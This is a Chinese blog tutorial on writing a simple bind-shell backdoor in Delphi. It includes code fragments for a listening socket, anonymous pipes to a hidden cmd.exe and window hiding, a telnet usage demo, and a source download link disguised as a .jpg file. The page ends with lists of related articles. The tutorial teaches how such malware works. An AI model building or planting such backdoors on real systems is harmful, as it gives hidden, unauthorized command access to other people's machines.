前言

在渗透测试中经常用到远控、后门等辅助后渗透权限维持工具,有一款好用的自制后门可以在巩固渗透成果方面有很大的帮助。今天给大家简单讲解下后门的原理和实现的方法,主要针对技术研究和原理演示,请各位看官不要用于违法活动。

一、后门的分类

按照连接方式可分为正向后门及反弹后门。字面上理解就是正向后门会在被控机上开启监听端口,等待控制机的连接机控制,反弹后门会在被控端运行并尝试获取控制机地址及端口,获取成功后主动连接控制机等待控制指令。

两种后门各有不同的应用场景,有几个主要的差别如下:

1、正向后门需要被控机能直接ip形式访问,也就是说如果你在内网机器上安装了一个后门,在外网是不能直接连接控制的,除非在路由器上将内网机器的后门端口映射到外网;

2、反弹后门的控制机需要直接ip形式可访问,也就是说被控端在获取到控制端ip和端口后在反向连接的时候需要能直接ip可达,原理同上。

二、后门的功能

后门和远控不一样,后门一般功能简单,不需要有什么屏幕控制之类的功能,因为后门主要是用来获取被控机连接权限的,所以一般后门主要功能集中在隐藏、潜伏、保持连接,功能上具备执行命令功能即可。而远控就不一样了,一般会有丰富的功能,如命令执行、文件管理、进程管理、键盘记录、屏幕控制、摄像头监控、音频监控等等。

我们今天用来学习的是一个简单的只有命令执行功能的演示demo。

三、后门实现原理

首先,后门是一个网络通讯软件,那就需要建立连接。正向后门需要在本机开启监听端口等到控制机的连接控制。

在windows下可以使用socket来建立套接字,再使用bind绑定地址、listen监听端口、accept等到控制机的连接,连接上以后就可以使用recv和send收发控制指令和回显信息了。主要原理基本就这些,当然使用完socket要记得用closesocket关闭套接字。

第二,光有通信功能还是不够的,还要具备命令执行功能,一个简单的实现方法就是使用进程通信方法将命令传递给cmd.exe执行,并将结果发送给控制机。这里的方法有很多,比如说匿名管道、单管道、或者直接绑定socket等。

四、代码实现

1、通信建立

port:=9900; //定义访问端口

timeout:=PChar(50000); //定义超时时间

bindserver:=socket(AF_INET,SOCK_STREAM,0); //定义socket

addrserver.sin_family:=AF_INET;

addrserver.sin_port:=htons(port);

addrserver.sin_addr.S_addr:=INADDR_ANY;

setsockopt(bindserver,SOL_SOCKET,SO_RCVTIMEO,timeout,sizeof(timeout)); //设置超时时间

bind(bindserver,addrserver,sizeof(addrserver)); //绑定地址

listen(bindserver,5); //启动监听

2、创建管道与cmd.exe通信

sa:SECURITY_ATTRIBUTES; //定义安全属性

siinfo:STARTUPINFO; //新进程的STARTUPINFO结构体

sa.nLength:=sizeof(SECURITY_ATTRIBUTES); //设置安全属性

sa.lpSecurityDescriptor:=nil;

sa.bInheritHandle:=TRUE;

createpipe(hreadpipe1,hwritepipe1,@sa,0); //创建两个匿名管道

createpipe(hreadpipe2,hwritepipe2,@sa,0);

siinfo.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);

siinfo.wShowWindow:=SW_HIDE; //新进程窗体隐藏

siinfo.hStdInput:=hreadpipe2;  //新进程输入管道

siinfo.hStdOutput:=hwritepipe1; //新进程输出管道

siinfo.hStdError:=hwritepipe1; //新进程报错信息管道

StrPCopy(cmdpath,'c:\windows\system32\cmd.exe'); //设置cmd路径

CreateProcess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//创建进程

五、使用方法

上面两步完成后基本可实现一个简单的后门演示demo,具体使用方法如下:

1、编译好后门demo并运行,会在被控机监听9900端口

因为演示方便没有隐藏窗体,要隐藏也很简单可增加如下代码即可:

win:longint;

win:=getforegroundwindow; //获取当前窗体的句柄

showwindow(win,SW_HIDE);  //隐藏窗体

2、使用telnet连接被控机9900

3、执行命令

连接成功之后会有欢迎信息,说明可以执行命令了。

执行了dir和whoami都可正常回显,基本没啥问题。

六、代码下载

http://www.5ecurity.cn/usr/uploads/2018/03/3614303039.jpg

保存为Project1.dpr

DELPHI黑客编程(一):正向后门原理实现的更多相关文章

  1. 2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp2 后门原理与实践 目录 实验要求 实验内容 实验环境 预备知识 1.后门概念 2.常用后门工具 实验步骤 1 用nc或net ...

  2. 2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165211

    目录 后门原理与应用 实验内容 基础问题回答 常用后门工具 Netcat Socat MSFmeterpreter 实践过程记录 1.后门工具熟悉 2.使用netcat获取主机操作Shell,cron ...

  3. 20165223《网络对抗技术》Exp2 后门原理与实践

    目录 -- 后门原理与实践 后门原理与实践说明 实验任务 基础知识问答 常用后门工具 实验内容 任务一:使用netcat获取主机操作Shell,cron启动 任务二:使用socat获取主机操作Shel ...

  4. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  8. NetSec2019 20165327 Exp2 后门原理与实践

    NetSec2019 20165327 Exp2 后门原理与实践 快速找到重点: (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, ...

  9. 2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 Week3 20165326

    Exp2 后门原理与实践 目录 1. 实验原理 2. 实验内容 3. 问题回答 4. 心得体会 实验原理简介 后门:不经过正常流程而访问系统的通道 ncat:底层工具,进行基本的TCP UDP数据收发 ...

随机推荐

  1. bzoj 1007 凸壳

    首先明确一个概念 左面内个叫上凸壳,右面那个叫下凸壳 然后我们只需要维护一个上图壳就行了,先按着斜率排序,每次加进来一条边,判断tot边和这个边与tot-1边的交点横坐标, 如果这条边的横坐标小就一直 ...

  2. 视频图像处理基础知识5(RGB与Ycbcr相互转换公式 )【转】

    转自:http://blog.csdn.net/Times_poem/article/details/51471438 版权声明:本文为博主原创文章,未经博主允许不得转载. 需求说明:视频处理算法基本 ...

  3. linux下ntp服务器搭建方法

    环境 软件:fedora14,装在virtualbox虚拟机上 硬件:x86 具体步骤 检查是否安装了ntp 运行如下命令: rpm -qa | grep ntp 如果有如下输出,表示有安装ntp 服 ...

  4. CSS3制作旋转的小风车

    制作旋转小风车 一 我先搭建一个大盒子400x400px大盒子里面嵌套四个小盒子200x200px,放在一起肯定是四个排在一行,我想要的效果是上下各两个, css样式 *{ margin:0; pad ...

  5. text-shadow

    text-shadow,文字阴影,通过text-shadow不使用ps可以实现文字阴影特效,可以让页面变得更加美观. text-shadow语法 text-shadow : none | <le ...

  6. 什么时候该用 Apache Kafka

    rabbitMQ kafka https://coyee.com/article/12091-understanding-when-to-use-rabbitmq-or-apache-kafka Ap ...

  7. selenium 滚动条操作(JavaScript操作)

    前言 一般我们想到的必须使用滚动条的场景是:注册时的法律条文的阅读.判断用户是否阅读完的标准是:滚动条是否拉到页面底部.当然,有时候为使操作更接近用户行为也会使用滚动条,例如用户要操作的元素在页面的第 ...

  8. springboot 返回json格式数据的时间格式配置

    #时间戳统一转换 spring.jackson.date-format=yyyy-MM-dd HH:mm:ss spring.jackson.time-zone=GMT+8 NOTE:time-zon ...

  9. 天猫首页迷思之-jquery实现整个div的懒加载(2)-插件面向对象化-闭包和原型的实例

    前文有简单的实现了一个制作懒加载的方法,但其实以方法的形式做插件扩展性不强.那么本文就来用面向对象的方法将其制作成一个真正的插件: 我想要的最终的调用效果是: $(".loading&quo ...

  10. 通俗了解TCP/IP三次握手四次挥手

    前言: tcp/ip通信机制是计算机中很重要的一个知识点,不是一句两句就能解释清楚的,需要反复推敲其中的玄妙. 通俗理解: 但是为什么一定要进行三次握手来保证连接是双工的呢,一次不行么?两次不行么?我 ...